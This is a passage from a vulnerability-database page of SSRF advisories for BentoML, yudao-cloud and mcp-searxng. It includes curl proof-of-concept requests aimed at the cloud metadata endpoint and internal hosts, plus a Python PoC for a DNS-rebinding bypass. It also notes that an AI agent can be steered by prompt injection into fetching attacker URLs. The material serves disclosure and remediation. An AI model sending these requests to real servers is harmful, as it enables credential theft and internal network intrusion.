Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4687 vulnerabilities reference this CWE, most recent first.

GHSA-MRMQ-3Q62-6CC8

Vulnerability from github – Published: 2025-07-29 19:24 – Updated: 2025-07-30 11:43
VLAI
Summary
BentoML SSRF Vulnerability in File Upload Processing
Details

Description

There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source - Sink Analysis

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation): 1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request 3. form = await request.form() parses multipart data using Starlette 4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)] at line 209 5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL 6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):
1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields 2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request 3. body = await request.body() extracts request body 4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164 5. Weak validation: if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme) 6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept

Create a BentoML service:

from pathlib import Path
import bentoml

@bentoml.service  
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Deploy and exploit:

# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor

# SSRF Attack 1 - Access AWS metadata  
curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \  
     -F 'image=http://localhost:8080/admin'

# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
     -F 'image=http://10.0.0.1:22'

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact

  • Access AWS/GCP/Azure cloud metadata services for credential theft
  • Enumerate and interact with internal HTTP services and APIs
  • Bypass firewall restrictions to reach internal network resources
  • Perform network reconnaissance from the server's perspective
  • Retrieve sensitive information disclosed in HTTP response data
  • Potential for internal service exploitation through crafted requests

Remediation

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-29T19:24:47Z",
    "nvd_published_at": "2025-07-29T23:15:32Z",
    "severity": "CRITICAL"
  },
  "details": "### Description\n\nThere\u0027s an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.\n\nThe framework automatically registers any service endpoint with file-type parameters (`pathlib.Path`, `PIL.Image.Image`) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the `JSONSerde` path, the `MultipartSerde` path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.\n\nThe documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.\n\n### Source - Sink Analysis\n\n**Source:** User-controlled multipart form field values and JSON request bodies containing URLs\n\n**Call Chain - Path 1 (MultipartSerde - No Validation):**\n1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters  \n2. `MultipartSerde.parse_request()` in `src/_bentoml_impl/serde.py:202` processes the request\n3. `form = await request.form()` parses multipart data using Starlette\n4. For file-type fields: `value = [await self.ensure_file(v) for v in form.getlist(k)]` at line 209\n5. `MultipartSerde.ensure_file()` called at lines 186-200 with user-controlled string URL\n6. **Sink:** `resp = await client.get(obj)` at line 193 - Direct HTTP request with zero validation\n\n**Call Chain - Path 2 (JSONSerde - Weak Validation):**  \n1. HTTP POST request with JSON body containing URL to endpoint with `IORootModel` + `multipart_fields`\n2. `JSONSerde.parse_request()` in `src/_bentoml_impl/serde.py:157` processes the request\n3. `body = await request.body()` extracts request body\n4. Condition check: `if issubclass(cls, IORootModel) and cls.multipart_fields:` at line 164\n5. Weak validation: `if is_http_url(url := body.decode(\"utf-8\", \"ignore\")):` at line 165 (only checks scheme)\n6. **Sink:** `resp = await client.get(url)` at line 168 - HTTP request after insufficient validation\n\n### Proof of Concept\n\nCreate a BentoML service:\n```python\nfrom pathlib import Path\nimport bentoml\n\n@bentoml.service  \nclass ImageProcessor:\n    @bentoml.api\n    def process_image(self, image: Path) -\u003e str:\n        return f\"Processed image: {image}\"\n```\n\nDeploy and exploit:\n```bash\n# Start service (binds to 0.0.0.0:3000 by default)\nbentoml serve service.py:ImageProcessor\n\n# SSRF Attack 1 - Access AWS metadata  \ncurl -X POST http://target:3000/process_image \\\n     -F \u0027image=http://169.254.169.254/latest/meta-data/\u0027\n\n# SSRF Attack 2 - Internal service enumeration\ncurl -X POST http://target:3000/process_image \\  \n     -F \u0027image=http://localhost:8080/admin\u0027\n\n# SSRF Attack 3 - Internal network scanning\ncurl -X POST http://target:3000/process_image \\\n     -F \u0027image=http://10.0.0.1:22\u0027\n```\n\nExpected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.\n\n### Impact\n- Access AWS/GCP/Azure cloud metadata services for credential theft\n- Enumerate and interact with internal HTTP services and APIs  \n- Bypass firewall restrictions to reach internal network resources\n- Perform network reconnaissance from the server\u0027s perspective\n- Retrieve sensitive information disclosed in HTTP response data\n- Potential for internal service exploitation through crafted requests\n\n### Remediation  \n\nImplement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing `is_http_url()` function should be enhanced to include allowlist validation rather than just scheme checking.",
  "id": "GHSA-mrmq-3q62-6cc8",
  "modified": "2025-07-30T11:43:56Z",
  "published": "2025-07-29T19:24:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-mrmq-3q62-6cc8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/commit/534c3584621da4ab954bdc3d814cc66b95ae5fb8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML SSRF Vulnerability in File Upload Processing  "
}

GHSA-MRQR-QXQW-9753

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

A vulnerability has been found in YunaiV yudao-cloud 2026.03. This affects the function IotDataSinkHttpConfig of the file /admin-api/iot/data-sink/create of the component Admin API Endpoint. Such manipulation leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-25T15:16:23Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been found in YunaiV yudao-cloud 2026.03. This affects the function IotDataSinkHttpConfig of the file /admin-api/iot/data-sink/create of the component Admin API Endpoint. Such manipulation leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-mrqr-qxqw-9753",
  "modified": "2026-05-26T13:30:46Z",
  "published": "2026-05-26T13:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fakebug111/my_public_bug/blob/main/issus05.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/813962"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/365445"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/365445/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MRVX-JMJW-VGGC

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`
Details

DNS-resolved Private Hostname SSRF in web_url_read

Summary

The web_url_read MCP tool in mcp-searxng is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The assertUrlAllowed() function at src/url-reader.ts:85-93 validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like nip.io, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.

Details

The vulnerable code is in src/url-reader.ts, where the assertUrlAllowed() function performs a hostname-only string comparison:

// src/url-reader.ts:85-93
function assertUrlAllowed(url: URL): void {
  const security = getHttpSecurityConfig();
  if (security.allowPrivateUrls) {
    return;
  }

  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
    throw createURLSecurityPolicyError(url.toString());
  }
}

This function checks whether url.hostname lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside undiciFetch() at src/url-reader.ts:367, after the security gate has already passed.

The full data flow is:

  1. src/index.ts:37-49isWebUrlReadArgs() accepts args.url as any string value with no URL policy enforcement.
  2. src/index.ts:226-240web_url_read passes args.url directly to fetchAndConvertToMarkdown().
  3. src/url-reader.ts:307-313 — URL is parsed and assertUrlAllowed(parsedUrl) is called (string check only).
  4. src/url-reader.ts:85-93assertUrlAllowed() checks url.hostname as a string; no DNS resolution is performed.
  5. src/url-reader.ts:367undiciFetch(currentUrl.toString(), currentRequestOptions) resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.

In the default HTTP mode (MCP_HTTP_HARDEN unset), requireAuth is false (see src/http-security.ts:30-41), meaning no authentication is required to invoke web_url_read.

The recommended remediation is to resolve the hostname via node:dns/promises inside assertUrlAllowed() before the fetch is issued:

--- a/src/url-reader.ts
+++ b/src/url-reader.ts
@@
 import { isIP } from "node:net";
+import { lookup } from "node:dns/promises";
@@
-function assertUrlAllowed(url: URL): void {
+async function assertUrlAllowed(url: URL): Promise<void> {
   const security = getHttpSecurityConfig();
   if (security.allowPrivateUrls) {
     return;
   }
+  if (!["http:", "https:"].includes(url.protocol)) {
+    throw createURLSecurityPolicyError(url.toString());
+  }

   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
     throw createURLSecurityPolicyError(url.toString());
   }
+  if (isIP(url.hostname) === 0) {
+    const answers = await lookup(url.hostname, { all: true, verbatim: true });
+    if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) {
+      throw createURLSecurityPolicyError(url.toString());
+    }
+  }
 }
@@
-  assertUrlAllowed(parsedUrl);
+  await assertUrlAllowed(parsedUrl);
@@
-        assertUrlAllowed(nextUrl);
+        await assertUrlAllowed(nextUrl);

PoC

Prerequisites:

  • Docker installed on the test machine.
  • The mcp-searxng repository cloned locally (version 1.6.0 / commit 90423e5).

Build the container:

docker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile .

Run the PoC:

docker run --rm \
  --add-host ssrf-target.internal:127.0.0.1 \
  -v $(pwd)/vuln-001/poc.py:/poc.py \
  mcp-searxng-ssrf-001 \
  python3 /poc.py

The --add-host flag maps ssrf-target.internal to 127.0.0.1 inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like 127.0.0.1.nip.io in a real attack).

What the PoC does:

  1. Starts a Python HTTP server on 127.0.0.1:9796 returning the sentinel value INTERNAL-SECRET-OK-SSRF-PROOF.
  2. Starts the MCP server in STDIO mode.
  3. Test 1: Sends a tools/call request for http://127.0.0.1:9796/ — this is correctly blocked by assertUrlAllowed().
  4. Test 2: Sends a tools/call request for http://ssrf-target.internal:9796/ — this bypasses the check because the hostname is syntactically public, but resolves to 127.0.0.1 at fetch time.

Expected output (confirming SSRF):

[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1
[!!!] SSRF BYPASS CONFIRMED
[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response
    Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'
    URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts)
    assertUrlAllowed() sees hostname='ssrf-target.internal' → passes string check
    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service
[RESULT] PASS

The same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., http://127.0.0.1.nip.io:PORT/), or by controlling a custom DNS record.

MCP JSON-RPC request (STDIO mode):

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"web_url_read","arguments":{"url":"http://ssrf-target.internal:9796/","maxLength":200}}}

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server — or who can influence an AI agent connected to the server to call web_url_read with an attacker-controlled URL — can:

  • Read internal HTTP services reachable from the MCP server host (e.g., cloud metadata endpoints at 169.254.169.254, internal APIs, admin dashboards, databases with HTTP interfaces).
  • Exfiltrate sensitive data such as cloud provider credentials, internal service tokens, or configuration secrets.
  • Enumerate internal network topology by probing responses from different internal hosts and ports.

In the default HTTP deployment configuration (MCP_HTTP_HARDEN unset), authentication is disabled (requireAuth: false), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.

The vulnerability has a CVSS v3.1 score of 7.1 (High) and affects all users running mcp-searxng version 1.6.0 without setting MCP_HTTP_ALLOW_PRIVATE_URLS=false explicitly overriding to true (the insecure opt-in) or applying a patched version.

Reproduction artifacts

Dockerfile

FROM node:20-slim

# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the entire repository
COPY . /app/

# Install dependencies and compile TypeScript
RUN npm ci && npm run build

# Verify the build output exists
RUN test -f dist/index.js || (echo "ERROR: dist/index.js not found after build" && exit 1)

# Default: drop into a shell for manual inspection; overridden by docker run
CMD ["node", "dist/index.js"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read
CWE-918 | CVSS 7.1

The assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the
url.hostname string against private IP/hostname patterns without performing DNS
resolution.  A hostname that is syntactically public but resolves to a private
or loopback address at fetch time bypasses the check.

Attack flow:
  1. Attacker provides URL with a hostname that passes the string check.
  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).
  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,
     and connects to the internal service.

Requirements:
  - Container must be started with --add-host ssrf-target.internal:127.0.0.1
    so that the bypass hostname resolves to the loopback address via /etc/hosts.
  - Node.js MCP server binary at /app/dist/index.js

Usage:
  python3 poc.py
  Exit 0 = PASS (bypass confirmed), non-zero = FAIL
"""

import http.server
import json
import os
import queue
import subprocess
import sys
import threading
import time

# ── constants ────────────────────────────────────────────────────────────────

SENTINEL       = "INTERNAL-SECRET-OK-SSRF-PROOF"
INTERNAL_PORT  = 9796
BYPASS_HOST    = "ssrf-target.internal"   # /etc/hosts: 127.0.0.1 (via --add-host)
MCP_BINARY     = "/app/dist/cli.js"
TIMEOUT_SEC    = 20


# ── internal HTTP server ─────────────────────────────────────────────────────

class SentinelHandler(http.server.BaseHTTPRequestHandler):
    """Simulates an internal service that the SSRF attack reads."""

    def _send_sentinel(self, with_body=True):
        body = (SENTINEL + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        if with_body:
            self.wfile.write(body)

    def do_GET(self):
        self._send_sentinel(with_body=True)

    def do_HEAD(self):
        self._send_sentinel(with_body=False)

    def log_message(self, fmt, *args):   # silence access log
        pass


def start_internal_server():
    server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), SentinelHandler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    print(f"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}"
          f'  -> sentinel: "{SENTINEL}"')
    return server


# ── MCP communication helpers ─────────────────────────────────────────────────

def start_mcp_server():
    """Spawn the MCP server in STDIO mode."""
    env = os.environ.copy()
    env.update({
        "NODE_ENV": "production",
        # SEARXNG_URL is intentionally unset; web_url_read does not need it.
    })
    proc = subprocess.Popen(
        ["node", MCP_BINARY],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env=env,
    )
    return proc


def drain_stderr(proc):
    """Drain stderr in a background thread to prevent blocking."""
    def _reader():
        for _ in proc.stderr:
            pass
    threading.Thread(target=_reader, daemon=True).start()


def attach_stdout_reader(proc):
    """Return a queue that receives decoded JSON-RPC messages from stdout."""
    q = queue.Queue()

    def _reader():
        for raw in proc.stdout:
            line = raw.strip()
            if not line:
                continue
            try:
                q.put(json.loads(line.decode()))
            except json.JSONDecodeError:
                pass   # skip non-JSON output

    threading.Thread(target=_reader, daemon=True).start()
    return q


def send_rpc(proc, method, params=None, rpc_id=None):
    """Write one JSON-RPC 2.0 message to the MCP server's stdin."""
    msg = {"jsonrpc": "2.0", "method": method}
    if rpc_id is not None:
        msg["id"] = rpc_id
    if params is not None:
        msg["params"] = params
    proc.stdin.write((json.dumps(msg) + "\n").encode())
    proc.stdin.flush()


def expect_response(q, target_id, timeout=TIMEOUT_SEC):
    """Wait for a JSON-RPC response matching target_id."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            msg = q.get(timeout=1.0)
            if msg.get("id") == target_id:
                return msg
        except queue.Empty:
            continue
    return None


def initialize_mcp(proc, q):
    """Perform the MCP initialize / initialized handshake."""
    send_rpc(proc, "initialize", {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
    }, rpc_id=1)

    resp = expect_response(q, target_id=1)
    if resp is None or "result" not in resp:
        raise RuntimeError(f"MCP initialize timed out or failed: {resp}")

    proto = resp["result"].get("protocolVersion", "?")
    print(f"[+] MCP handshake complete (protocol={proto})")

    # Acknowledge initialization
    send_rpc(proc, "notifications/initialized")
    time.sleep(0.15)


def call_url_read(proc, q, url, rpc_id):
    """Invoke the web_url_read tool and return the raw JSON-RPC response."""
    send_rpc(proc, "tools/call", {
        "name": "web_url_read",
        "arguments": {"url": url, "maxLength": 600},
    }, rpc_id=rpc_id)
    return expect_response(q, target_id=rpc_id)


# ── result helpers ────────────────────────────────────────────────────────────

def extract_text(resp):
    """Return the text content from a tools/call result, or None."""
    if resp is None:
        return None
    if "error" in resp:
        return None
    try:
        return resp["result"]["content"][0]["text"]
    except (KeyError, IndexError, TypeError):
        return None


def is_blocked(resp):
    """Return True when the response indicates a security-policy block."""
    if resp is None:
        return False
    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results
    if "error" in resp:
        return True
    text = extract_text(resp) or ""
    if resp.get("result", {}).get("isError"):
        return True
    if "URLSecurityPolicy" in text or "not allowed" in text.lower():
        return True
    return False


# ── main ──────────────────────────────────────────────────────────────────────

def main():
    print("=" * 62)
    print("VULN-001  DNS-resolved Private Hostname SSRF in web_url_read")
    print("=" * 62)

    # 1. Verify /etc/hosts entry is present
    bypass_url = f"http://{BYPASS_HOST}:{INTERNAL_PORT}/"
    with open("/etc/hosts") as f:
        hosts_content = f.read()
    if BYPASS_HOST not in hosts_content:
        print(f"[-] FATAL: '{BYPASS_HOST}' not in /etc/hosts.")
        print("    Re-run with: --add-host ssrf-target.internal:127.0.0.1")
        sys.exit(3)
    print(f"[+] /etc/hosts contains entry for {BYPASS_HOST}")

    # 2. Start internal HTTP service
    start_internal_server()
    time.sleep(0.2)

    # 3. Start MCP server
    print(f"[*] Spawning MCP server: node {MCP_BINARY}")
    proc = start_mcp_server()
    drain_stderr(proc)
    msg_queue = attach_stdout_reader(proc)
    time.sleep(1.2)   # allow server startup

    if proc.poll() is not None:
        print(f"[-] MCP server exited early (rc={proc.returncode})")
        sys.exit(4)
    print(f"[+] MCP server running (PID={proc.pid})")

    try:
        # 4. MCP handshake
        print("[*] MCP initialize ...")
        initialize_mcp(proc, msg_queue)

        # ── Test 1: direct private IP should be BLOCKED ───────────────────
        blocked_target = f"http://127.0.0.1:{INTERNAL_PORT}/"
        print(f"\n[*] Test 1 — direct private IP (EXPECT: BLOCKED)")
        print(f"    URL: {blocked_target}")
        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)
        text1 = extract_text(resp1) or ""

        if is_blocked(resp1):
            print(f"[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1")
        else:
            print(f"[!] WARNING — direct 127.0.0.1 was NOT blocked (text={text1[:120]})")

        # ── Test 2: hostname bypass SHOULD succeed ─────────────────────────
        print(f"\n[*] Test 2 — hostname bypass (EXPECT: PASS / SSRF)")
        print(f"    URL: {bypass_url}")
        print(f"    assertUrlAllowed() sees hostname='{BYPASS_HOST}' → passes string check")
        print(f"    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service")
        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)
        text2 = extract_text(resp2) or ""

        print(f"\n    Raw tool response text (first 400 chars):")
        print(f"    {repr(text2[:400])}")

        if SENTINEL in text2:
            print(f"\n[!!!] SSRF BYPASS CONFIRMED")
            print(f"[!!!] Sentinel '{SENTINEL}' found in MCP tool response")
            print(f"\n[RESULT] PASS")
            sys.exit(0)
        elif is_blocked(resp2):
            print(f"\n[-] Bypass request was also BLOCKED (unexpected).")
            print(f"    resp2={json.dumps(resp2)[:300]}")
            print(f"\n[RESULT] FAIL — bypass was blocked")
            sys.exit(1)
        else:
            print(f"\n[-] Response received but sentinel not found.")
            print(f"    resp2={json.dumps(resp2)[:400]}")
            print(f"\n[RESULT] FAIL — unexpected response")
            sys.exit(1)

    finally:
        proc.terminate()


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mcp-searxng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## DNS-resolved Private Hostname SSRF in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.\n\n### Details\n\nThe vulnerable code is in `src/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:\n\n```ts\n// src/url-reader.ts:85-93\nfunction assertUrlAllowed(url: URL): void {\n  const security = getHttpSecurityConfig();\n  if (security.allowPrivateUrls) {\n    return;\n  }\n\n  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n    throw createURLSecurityPolicyError(url.toString());\n  }\n}\n```\n\nThis function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src/url-reader.ts:367`, after the security gate has already passed.\n\nThe full data flow is:\n\n1. `src/index.ts:37-49` \u2014 `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.\n2. `src/index.ts:226-240` \u2014 `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.\n3. `src/url-reader.ts:307-313` \u2014 URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).\n4. `src/url-reader.ts:85-93` \u2014 `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.\n5. `src/url-reader.ts:367` \u2014 `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.\n\nIn the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.\n\nThe recommended remediation is to resolve the hostname via `node:dns/promises` inside `assertUrlAllowed()` before the fetch is issued:\n\n```diff\n--- a/src/url-reader.ts\n+++ b/src/url-reader.ts\n@@\n import { isIP } from \"node:net\";\n+import { lookup } from \"node:dns/promises\";\n@@\n-function assertUrlAllowed(url: URL): void {\n+async function assertUrlAllowed(url: URL): Promise\u003cvoid\u003e {\n   const security = getHttpSecurityConfig();\n   if (security.allowPrivateUrls) {\n     return;\n   }\n+  if (![\"http:\", \"https:\"].includes(url.protocol)) {\n+    throw createURLSecurityPolicyError(url.toString());\n+  }\n\n   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n     throw createURLSecurityPolicyError(url.toString());\n   }\n+  if (isIP(url.hostname) === 0) {\n+    const answers = await lookup(url.hostname, { all: true, verbatim: true });\n+    if (answers.some(({ address }) =\u003e isPrivateIpv4(address) || isPrivateIPv6(address))) {\n+      throw createURLSecurityPolicyError(url.toString());\n+    }\n+  }\n }\n@@\n-  assertUrlAllowed(parsedUrl);\n+  await assertUrlAllowed(parsedUrl);\n@@\n-        assertUrlAllowed(nextUrl);\n+        await assertUrlAllowed(nextUrl);\n```\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the test machine.\n- The `mcp-searxng` repository cloned locally (version 1.6.0 / commit `90423e5`).\n\n**Build the container:**\n\n```bash\ndocker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile .\n```\n\n**Run the PoC:**\n\n```bash\ndocker run --rm \\\n  --add-host ssrf-target.internal:127.0.0.1 \\\n  -v $(pwd)/vuln-001/poc.py:/poc.py \\\n  mcp-searxng-ssrf-001 \\\n  python3 /poc.py\n```\n\nThe `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).\n\n**What the PoC does:**\n\n1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.\n2. Starts the MCP server in STDIO mode.\n3. **Test 1:** Sends a `tools/call` request for `http://127.0.0.1:9796/` \u2014 this is correctly **blocked** by `assertUrlAllowed()`.\n4. **Test 2:** Sends a `tools/call` request for `http://ssrf-target.internal:9796/` \u2014 this **bypasses** the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.\n\n**Expected output (confirming SSRF):**\n\n```\n[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\n[!!!] SSRF BYPASS CONFIRMED\n[!!!] Sentinel \u0027INTERNAL-SECRET-OK-SSRF-PROOF\u0027 found in MCP tool response\n    Raw tool response text: 